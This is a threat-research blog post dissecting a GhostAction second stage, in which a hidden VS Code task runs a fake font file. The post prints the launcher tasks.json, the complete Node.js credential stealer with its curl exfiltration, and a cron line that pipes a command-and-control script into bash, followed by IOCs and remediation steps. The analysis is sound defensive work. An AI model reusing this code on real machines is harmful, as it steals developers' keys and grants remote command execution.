BLOG

GhostAction Copycats PolinRider by Hiding a Stealer in a Fake Font File

A cluster of 94 compromised repos have a second stage that autoruns a credential stealer and installs a cron job

By cb482791-4ef1-4762-96ad-b0ca4bdd538e ·

GhostAction Copycats PolinRider by Hiding a Stealer in a Fake Font File

We’ve discovered a new element to the GhostAction campaign, which steals secrets through malicious GitHub Actions workflows. It now has a second stage that persists even if the victim has removed the malicious workflow.

Existing Stage 1: Use stolen GitHub access to push a fake “security audit” workflow into every repository an account can write to, and the workflow sends the repo’s secrets and any credentials found in its git history to the attacker’s server.

New Stage 2: Commit a tasks.json file and public/fonts/fa-solid-400.woff2, which makes VS Code autorun a credential stealer and install a cron job that runs whatever the attacker’s server sends, every five minutes.

If this sounds familiar, that’s because this technique was pioneered by North Korea for the PolinRider campaign. Community member Thijs Xhaflaire discovered this trick way back in January 2026. Today during a routine hunt for new PolinRider victims, he found a cluster of 94 compromised repos with the VS Code + .woff2 malware, but different from PolinRider in two significant ways. The malicious fake font files don’t contain any obfuscated JavaScript, and the IP address matches GhostAction. Nice find, Thijs!

He submitted the repositories to OpenSourceMalware and flagged them for a deep dive. This post is that deep dive.

Whoever runs GhostAction’s server copied the launcher and replaced the payload with their own: plain JavaScript, a hardcoded IP address and a cron job. There’s no shared IOCs between GhostAction and any other DPRK malware we’ve seen, so at this time we’re labeling this a copycat rather than an extension of PolinRider. Given there are literally thousands of live samples of the PolinRider campaign running on GitHub, it would have been trivial for the threat actor to use it as inspiration to make their campaign more successful.

See all the assets we’re tracking under the #ghostaction tag.

Taking Stage 2 apart

Stage 2 is three files in the repository and one scheduled job on the developer’s machine. The files are a hidden VS Code task, a “font” that isn’t one, and a second GitHub Actions workflow. The font installs the job.

The launcher

The launcher is a .vscode/tasks.json with one task that looks like routine linting. runOn: folderOpen is the trigger. VS Code runs the task when someone opens the folder. The presentation settings keep it out of sight, and the label gives anyone who does notice it a reason to move on. The file is byte-identical in all 79 repositories we analyzed.

{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "eslint-check",
      "type": "shell",
      "command": "node ./public/fonts/fa-solid-400.woff2",
      "problemMatcher": [],
      "isBackground": true,
      "hide": true,
      "presentation": {
        "reveal": "never",
        "panel": "dedicated",
        "focus": false,
        "clear": false,
        "echo": false,
        "close": true
      },
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]
}

The infostealer

The “font” is 38 lines of plain Node.js. Node doesn’t care about the extension, so it runs. We read it without running it, and we’ve replaced the server address with <server> below.

var os, fs, cp;
try { os = require('os'); fs = require('fs'); cp = require('child_process'); } catch (e) { os = null; }
try {
  if (os) {
    var home = os.homedir();
    var r = "DEVBOX user=" + os.userInfo().username + " host=" + os.hostname() + " repo=" + (process.env.GITHUB_REPOSITORY || "");
    var files = [".aws/credentials", ".pypirc", ".npmrc", ".git-credentials", ".netrc",
                 ".claude/.credentials.json", ".gemini/oauth_creds.json", ".kube/config"];
    files.forEach(function(f) {
      var p = home + "/" + f;
      try {
        if (fs.existsSync(p)) r += "\nFILE:" + p + "\n" + fs.readFileSync(p, "utf8").slice(0, 3000);
      } catch (e) {}
    });
    [".ssh/id_rsa", ".ssh/id_ed25519"].forEach(function(k) {
      var p = home + "/" + k;
      try {
        if (fs.existsSync(p)) r += "\nSSHKEY:" + p + "\n" + fs.readFileSync(p, "utf8");
      } catch (e) {}
    });
    try {
      r += "\nGREP:" + cp.execSync(
        "grep -rhoE 'A[KS]IA[0-9A-Z]{16}|sk-ant-[A-Za-z0-9_-]{20,}|ghp_[A-Za-z0-9]{36}|npm_[A-Za-z0-9]{36}|pypi-AgEIcHlwaS5vcmc[A-Za-z0-9_-]{20,}' " +
        home + " 2>/dev/null | sort -u | head -30", {timeout: 10000}).toString();
    } catch (e) {}
    Object.keys(process.env).forEach(function(k) {
      if (/^(AWS_|ANTHROPIC|OPENAI|HF_TOKEN|GITHUB_TOKEN|_API_KEY|_TOKEN)/.test(k))
        r += "\nENV:" + k + "=" + process.env[k];
    });
    try {
      cp.execSync("curl -s -m 15 -X POST --data-binary @- http://<server>:8080/?c=reinject", {input: r, timeout: 20000});
    } catch (e) {}
    try {
      cp.execSync('(crontab -l 2>/dev/null | grep -v ghc2; echo "*/5 * * * * curl -s -m 10 http://<server>:8080/c2/$(hostname) | bash >/dev/null 2>&1 #ghc2") | crontab -');
    } catch (e) {}
  }
} catch (e) {}

It works in four passes:

  1. It starts a report headed DEVBOX with the username, the hostname and, when it runs in CI, the repository name.

  2. It reads eight credential files and keeps the first 3,000 bytes of each:

    1. `~/.aws/credentials` for AWS keys

    2. `~/.pypirc` for PyPI tokens

    3. `~/.npmrc` for npm tokens

    4. `~/.git-credentials` for stored Git logins

    5. `~/.netrc` for stored logins used by `curl`, `git` and similar tools

    6. `~/.claude/.credentials.json` for Claude login

    7. `~/.gemini/oauth_creds.json` for Gemini login

    8. `~/.kube/config` for Kubernetes cluster credentials

  3. It reads the SSH private keys id_rsa and id_ed25519 in full, with no cap.

  4. Then it runs a recursive grep over the whole home directory for AWS, Anthropic, GitHub, npm and PyPI tokens, keeping the first 30 unique matches, and adds any environment variable whose name starts with AWS_, ANTHROPIC, OPENAI, HF_TOKEN or GITHUB_TOKEN.

One curl POST sends the report to GhostAction’s server over plain HTTP, on port 8080, with a batch tag in the query string. Our infrastructure research had already noted heavy scanner traffic to that port on the same server.

The author made two mistakes. The environment filter anchors every pattern with ^, so the _API_KEY and _TOKEN alternatives only match variables whose names begin with an underscore, and most real API key variables slip past. The grep has a 10 second timeout, which a search of a full home directory often exceeds, and when it times out the catch block throws away whatever it found. We didn’t test either behavior. Neither one touches the credential files or the SSH keys, which are read directly.

The last four lines install the cron job.

The cron job

While the credential theft component may not be especially effective, the cron entry is a threat because it gives the operator remote command execution on the machine. Here it is with the server address replaced:

*/5 * * * * curl -s -m 10 http://<server>:8080/c2/$(hostname) | bash   #ghc2

The script first removes any earlier line carrying the ghc2 marker, so running it twice doesn’t stack duplicates. Every five minutes the machine asks the server for a script, at a path keyed by its own hostname, and runs whatever comes back. The hostname lets the operator give each machine different instructions.

We haven’t yet retrieved what the server returns, so we can’t tell you what Stage 3 does. We can tell you that the machine you opened the project on now takes orders from someone else, and that deleting the font file doesn’t cancel the cron job.

The second workflow

The same burst adds a second CI workflow, in case the infostealer never runs. It’s Stage 1 with more patterns: extra credential formats, a scan of the repository wiki using the workflow’s own GITHUB_TOKEN, and a fallback that uploads findings to a secret gist if the POST fails.

The attacker named it differently in different repositories. We found lint.yml, ci-check.yml, build-check.yml, repo-health.yml, audit.yml, code-review.yml and test-suite.yml, each in between 5 and 16 repositories. Apart from the display name and a batch tag, the contents are the same, with three exceptions. Searching for one filename finds one slice of the cluster.

What’s copied from PolinRider

The launcher is a copy. In January, a repository Thijs submitted led us to a campaign whose tasks.json ran a file named fa-brands-regular.woff2 that was really obfuscated JavaScript. For most of 2026, PolinRider used fa-solid-400.woff2, and this cluster uses that name.

The fake font campaigns we’ve documented

This cluster

Launcher

.vscode/tasks.json, runOn: folderOpen, task label eslint-check

Same label, same trigger

Presentation

reveal: never, panel: dedicated

Same, plus isBackground, hide, echo: false and close: true

File

public/fonts/, a Font Awesome name

public/fonts/fa-solid-400.woff2

Code

Obfuscated JavaScript

38 lines of plain JavaScript

Where the next stage comes from

Blockchain dead drops

A hardcoded IP over HTTP, then a cron job

Targets

Browser credentials and wallet data, SSH keys, AWS credentials, API keys

Credential files, SSH keys, cloud, registry and AI tool tokens. No browser or wallet paths.

Spread

PolinRider spreads from the infected machine with its cached git credentials, rewriting commits

Pushed under the owner’s identity at scripted speed. How the pushes were made isn’t established.

The payload is the opposite of PolinRider’s. It’s readable, it talks to a bare IP, and it doesn’t touch browsers or wallets. Whoever wrote it wanted cloud keys, registry tokens and AI tool logins, and the Stage 1 workflow already hunted the same categories.

The 94-repository picture

The 94 repos in this cluster belong to 66 owners. We were able to clone 79 of them, and all 79 carried Stage 2. The other 15 have since been deleted, renamed or made private, so we can count them but not analyze them. Everything below describes the 79.

Here’s the timeline:

  • October 8: Stage 1 went in first. Between 13:03 and 22:41 UTC, 72 of the 79 repositories we analyzed received the first Stage 1 workflow. Owners with several repos were hit in minutes. One owner’s five repos took Stage 1 within a minute of each other. That’s one automated run per compromised account, pushing everywhere the account can write.

  • October 12-14: Four more repos received Stage 1, well after the first group.

  • October 14: Stage 2 began quietly. In three repos the second workflow arrived between 13:23 and 18:58 UTC. The font file and the tasks.json followed 7 to 14 hours later, on October 15.

  • October 15: The main burst came between 01:00 and 10:31 UTC. In 76 repos the second workflow, the font file and the tasks.json landed together, with 32 of them in the first two hours. The same owner’s five repos took Stage 2 within seven minutes, and all 11 multi-repo owners we could check follow the same pattern at both stages.

The gap between the stages is tight. The median is 6.3 days, and 80% of repos fall between 6.1 and 6.7 days. But it follows a date, not a delay. The four repos that got Stage 1 as late as October 12-14 got Stage 2 on October 15 too, one of them only 26 hours later. Someone decided that October 15 was the day.

Who was hit

Now that good news: Most of these repositories were seemingly abandoned before the attackers arrived. When the first malicious commit landed, 65 of the 79 had gone more than a year without a commit, 47 had gone more than two years, and 28 more than three years. The oldest had been untouched for more than nine years. That fits what Socket saw on October 8, when the sweeps included repositories that had been dormant for a decade. The attacker isn’t picking projects. The automation pushes to everything an account can write to, so a repository the owner forgot they had carries the same malware as the one they work in every day.

One infostealer, three tags

The infostealer sends its report to a URL that ends in a tag. In the file above it’s ?c=reinject. Across the 79 repositories the tag takes three values, and it’s the only thing that changes. Everything else is the same 38 lines, with the same server, port and cron job.

Tag

Repositories

Committed on October 15 (UTC)

reinject

45

01:21 to 10:30

auto_20261015

21

02:24 to 10:31

auto_20261014

13

01:14 to 01:49

The 13 auto_20261014 files are the first ones in, all committed in a 35 minute window. The other two tags run side by side for the rest of the morning. We don’t know what the date in the tag means, since the file tagged for October 14 was committed on October 15. As with the c=monami marker in Stage 1, what the server does with the tag is unresolved.

The handful that differ

Six repos differ in ways worth knowing, and one differs enough to get its own subsection below.

Infected since 2025: `justboyke/afvalalert is the oldest infection in the set. Its first GhostAction workflow, a 17-line file that sends a repository secret named PAT_TOKEN to a remote host, went in on September 2, 2025. The workflow’s target was edited three times, each with the commit message “Update Github Actions Security workflow”, and the last edit, on August 31, 2026, pointed it at the server that runs Stage 1 and Stage 2. Ten README-only commits titled “Trigger security scan” fired it over the year. The October files went in on top of a year-old infection, and this is the only repository where the later workflows also reference PAT_TOKEN.

Cleaned up, then hit again: adydetra/bangcv-flutter and vision-vivante/cashpost show what cleanup does and doesn’t fix. Both owners removed the Stage 1 workflow on October 9, the morning after the sweep, and cashpost deleted its entire workflows directory. Both got Stage 2 anyway on October 15, cashpost at 02:32 UTC and bangcv-flutter at 07:48. Whatever pushed the first stage still had access six days later.

The first move to port 8080: raihanlimit/ainebot-md got Stage 1 late, on October 12 at 10:20 UTC, and with its own batch tag, c=security. It’s the earliest sign of the move to port 8080, a day before the date-stamped tags began.

A workflow that reaches the host: mammarraza/reactapp has a third workflow, cache-cleanup.yml, added on October 15 at 06:24 UTC under the display name Runner Maintenance and set to run on self-hosted runners. It asks the cloud metadata service for the IAM role credentials of the machine it runs on, reads SSH key files, and installs the same cron entry as the infostealer. It’s the only workflow we found that reaches past a repository’s secrets to the host underneath.

Stage 2 without Stage 1: psm-2/ai-artifacts took Stage 2 with no Stage 1 at all, at 10:30 UTC on October 15, in a project with five commits. Stage 1 isn’t a prerequisite. This repository and bagisto-dhs are the last two infections we recorded.

One repo hit with both GhostAction and PolinRider

daxitzadafiya/bagisto-dhs is the most interesting outlier. It’s in the set for the same reason as the others: it has the hidden tasks.json and the fake font. But when we looked closer, we found its Tailwind config files were also poisoned. That’s a second PolinRider tactic, where an infected machine appends a loader to the end of a JavaScript config file such as tailwind.config.js, after a run of whitespace, so the code sits off-screen in an editor. Of the 79 repositories we analyzed, this is the only one with it.

So we immediately wondered, Did the GhostAction actor try a second PolinRider technique, or was this a totally separate compromise?

  • What’s there: Three Tailwind config files (Admin, Installer and Shop) each end with the same 4.7 KB obfuscated block, on the closing }; line after about 1,700 spaces.

  • When it arrived: The history says April 16, 2025 but we uncovered a force-push on June 25, 2026 that replaced the original commit with a rewritten copy.

  • How it arrived: The rewrite added temp_auto_push.bat to .gitignore, the script our guide names for rewriting history and force-pushing from an infected machine.

  • What it does: The block is a loader with no payload of its own. It reads a pointer from TRON (or Aptos), fetches encrypted code from BNB Smart Chain, decrypts it, and runs it twice, once in-process and once in a hidden node process. It contacts no attacker-owned server. Its blockchain addresses, keys and delimiter match the PolinRider indicators we already track.

The tactic, the tooling and the date all differ from Stage 2. PolinRider rewrote history on June 25 and fetched its payload from blockchains. GhostAction’s Stage 2 arrived on October 15, three and a half months later, as ordinary commits that report to its own server. We found no indicator shared between the two.

  • An open oddity: GitHub credits the rewritten commit to daxitzadafiyawork-create, an account created on December 22, 2025 with no public repositories or activity. It could be the owner’s second account, or someone else controlling their work email. We can’t tell which.

  • What we can’t say: We don’t know who ran either push. A PolinRider infection takes a developer’s credentials, so it’s possible they reached GhostAction’s operator, but nothing in the repository connects them.

A case study of one compromised repo

The first compromised repo we examined shows the whole sequence. On October 8 at 20:45 UTC, a commit titled “Add security audit workflow” added the Stage 1 workflow, and it ran. On October 14 the workflow was edited to report somewhere else. Then, on October 15 at 04:22, three commits landed within ten seconds: a second workflow, then public/fonts/fa-solid-400.woff2, then .vscode/tasks.json, the last two one second apart.

The owner noticed. At 10:12 that morning, nearly six hours later, they deleted both workflows with a commit message that read “Remove malicious workflow - security incident [skip ci]”. That’s the right instinct and the standard advice. But they apparently didn’t notice the tasks.json and font files, because those remained when we investigated.

Every commit was authored and committed under the owner’s identity, and none was signed. GitHub’s own controls did more than the cleanup. Only the October 8 workflow run completed. The other nine sat at action_required, waiting for an approval nobody gave.

The two repositories that were cleaned up and hit again show why deleting the workflow isn’t enough. The simplest reading is that the access that pushed Stage 1 was never revoked, and deleting a workflow doesn’t revoke a token. GitGuardian found that only 16 percent of the 772 repositories in the August and September wave had been effectively cleaned in public history by October 5, and that in 92 cases the attacker simply edited a workflow left over from an earlier wave.

How the campaign changed after the disclosures

Let’s look at this evolution in the context of everything that’s happened in the last week:

Date (2026)

What happened

October 8

Mass sweeps push security-audit.yml to hundreds of repositories, 345 by StepSecurity’s count. In our cluster, 72 of the 79 repositories we analyzed get an identical file: port 80, the marker c=new, no named secrets.

October 9

StepSecurity, Socket and our infrastructure post publish the filenames, commit messages, markers and ports. According to GitGuardian, as reported by The Hacker News, GitHub starts preventing the workflow from running. my-github.com is registered.

October 10 and 12

More waves with the same payload extract no secrets, per The Hacker News.

October 11

We document the phishing kit that steals a maintainer’s session and OAuth token.

October 12 - 14

Stage 1 is rewritten in dozens of repositories. The exfiltration moves to port 8080 and the markers become date-stamped batch tags.

October 14

The second workflow appears in three repositories.

October 15

Stage 2 lands in 94 repositories, with a new workflow, new filenames and new commit messages.

The indicators stopped matching

By October 9, the public indicators for Stage 1 were its filenames, its commit messages, the query markers c=monami and c=new, the body marker AKIA_CTX_START, and ports 80 and 3000. Between October 12 - 15 the port, the batch tag, the second-stage filename, the commit message and one of the markers all changed. The second-stage workflow dropped AKIA_CTX_START, which our hunting queries searched for, and took one of seven filenames. It kept git log -p --all and the IP address. The IP is the one indicator that never moved, which is why searching for it still works. That doesn’t prove the operator was reading our posts. The timing fits it.

The weight moved to the laptop

Stage 1 needs GitHub to run the workflow. On October 9, GitHub started preventing the malicious workflow from running, and the waves on October 10 and 12 extracted no secrets. StepSecurity had already seen an approval gate stop exfiltration in one repository, and in the repository we followed, nine of ten runs were held. Stage 2 adds a launcher that doesn’t need a runner at all, and it arrived six days after the block. We can’t say the block caused it. We can say the operator moved to a place GitHub’s controls don’t reach.

Stage 1 had little to steal

Of the 79 repositories we analyzed, 72 took the first Stage 1 version, and every one got an identical file that names no repository-specific secret. StepSecurity describes that as what the generator produces when it finds no secrets in a repository’s own workflows, which leaves the attacker with the git history. These repositories are dormant, 792 days quiet at the median, and a dormant project has little CI to steal from. The developer’s laptop is where the keys are. That’s an inference, but it’s the one the data supports.

Access is being refreshed in parallel

While Stage 1 was being blocked, the operator was building new access. my-github.com was registered on October 9, and by October 11 we had documented a phishing kit that takes a maintainer’s password and one-time code and silently authorizes an OAuth app with repo, workflow and read:org scopes. The workflow scope is what lets someone push the next batch of malicious files. We haven’t tied the kit to these 94 repositories. For the first one we examined, the first malicious push predates the domain.

If your repo is infected

Cut off the attacker’s access before you clean anything. Deleting files doesn’t revoke the token that pushed them, and two owners in this set were hit again six days after they cleaned up.

  1. Revoke access, from a clean device. Revoke every GitHub session, personal access token, OAuth authorization, GitHub App installation, SSH key and deploy key, then change your password and turn on phishing-resistant MFA. Remove any OAuth grant you don’t recognize, including client ID Ov23ctrqCqZ79UaYKwyq from the phishing kit we documented. Then read your GitHub security log for sign-ins and token creation you can’t explain.

  2. Find every repo the account can write to. The attack pushes to all of them, including forks and projects you forgot. Look for security-audit.yml or any workflow that sends data to the server’s IP address, a .vscode/tasks.json with a hidden eslint-check task, any text file named like a font under public/fonts, and a config file that ends in a block after a long run of whitespace.

  3. Remove all of it, on every branch. That’s the workflows, the tasks.json and the font file. In the repos we checked, the files were on the default branch. Check forks too, since forks of infected repos carry the workflow.

  4. Rotate everything the workflows could reach. That’s the repo’s Actions secrets, plus every credential ever committed to any branch, because Stage 1 reads the whole git history. If you publish packages, check your registry release history for versions you didn’t make.

  5. Tell everyone who cloned it. Anyone who opened the repo while the files were in it may have run the infostealer. Point them to the next section.

  6. Make the next push harder. Require approval for workflow runs, protect .github/workflows with required reviews, and block force-pushes.

If you can’t explain how your token was taken, assume your machine is part of the story. Rotating a token does nothing while the thing that stole it is still running.

If you cloned or opened one of these repos

Opening an infected repo isn’t enough on its own. VS Code only runs a folderOpen task in a trusted workspace, and only if automatic tasks are allowed, either by clicking Allow at its one-time prompt or by setting task.allowAutomaticTasks to on. If that happened while the files were in the repository, treat the machine’s credentials as compromised. Running the font file with node has the same effect.

  1. Stop it running again. Make sure task.allowAutomaticTasks is off, which is the default, and don’t reopen the folder in VS Code.

  2. Look for the foothold. On macOS and Linux, run crontab -l and remove any line that mentions the server’s IP address or ends in #ghc2. On Windows there’s no crontab, so the credential theft would run but the cron job wouldn’t install.

  3. Assume more ran. If you find the cron entry, the server has had a chance every five minutes to run commands on the machine, and we don’t know what it sent. Check for other persistence as our PolinRider guide describes, and consider rebuilding the machine.

  4. Rotate from a clean device, after the machine is contained. That’s SSH keys, cloud credentials, npm and PyPI tokens, GitHub tokens, kubeconfig credentials, and any Anthropic, OpenAI or Gemini logins and keys.

Indicators of Compromise

Files

File

SHA-256

public/fonts/fa-solid-400.woff2 (batch tag reinject)

cb3842832267421b9563c7bd32d3582a8fff624860e57c2c9058966735d4da60

public/fonts/fa-solid-400.woff2 (batch tag auto_20261015)

61eca87b4b4c3e6248dc0fde25ff9cf28637798a8c4be172eaef9843252d12f6

public/fonts/fa-solid-400.woff2 (batch tag auto_20261014)

92dec8f50d934c338ff3c1bcbf1c9b028aa9561128d0077a101a1ef4dac0f0db

.vscode/tasks.json

a043f03e89ef55779f4f630138cf5efe1dd37632e176c7a0d9bbfa989ba84eeb

.github/workflows/security-audit.yml (first version)

6d258db70677c99c08c9db37e002751eb0f0fb7c0cab2a4effd7c8fa8d115d19

.github/workflows/security-audit.yml (second version)

d301438d713006a7a63889969fb5a30389c88bba5fbd89ef22becac611823a4f

.github/workflows/lint.yml (reference second-stage workflow)

40a007874722c46e0d194c4453f6cee26ee9c64513597784cc9c0e8b85471e7c

Network

Indicator

Role

193[.]32[.]204[.]199

GhostAction server

hxxp://193[.]32[.]204[.]199:8080/?c=reinject

Exfiltration from the infostealer and second workflow

hxxp://193[.]32[.]204[.]199:8080/?c=auto_20261013, ?c=auto_20261014 and ?c=auto_20261015

Same, with date-stamped batch tags

hxxp://193[.]32[.]204[.]199:8080/?c=security

Early Stage 1 variant, one repository

hxxp://193[.]32[.]204[.]199/?c=new

First Stage 1 version

hxxp://193[.]32[.]204[.]199:8080/c2/<hostname>

Script fetched by the cron job

Markers

  • Task label eslint-check, report header DEVBOX, crontab comment #ghc2

  • Second-stage workflow filenames: lint.yml, ci-check.yml, build-check.yml, repo-health.yml, audit.yml, code-review.yml, test-suite.yml, cache-cleanup.yml

  • Commit messages: “Add security audit workflow”, “Update security audit workflow”, “Add font assets”, “Add editor task”, and for the second workflow “Add linting workflow”, “Add CI check workflow”, “Add build check workflow”, “Add repo health workflow”, “Add audit workflow”, “Add code review workflow”, “Add test suite workflow”, “Add cache cleanup”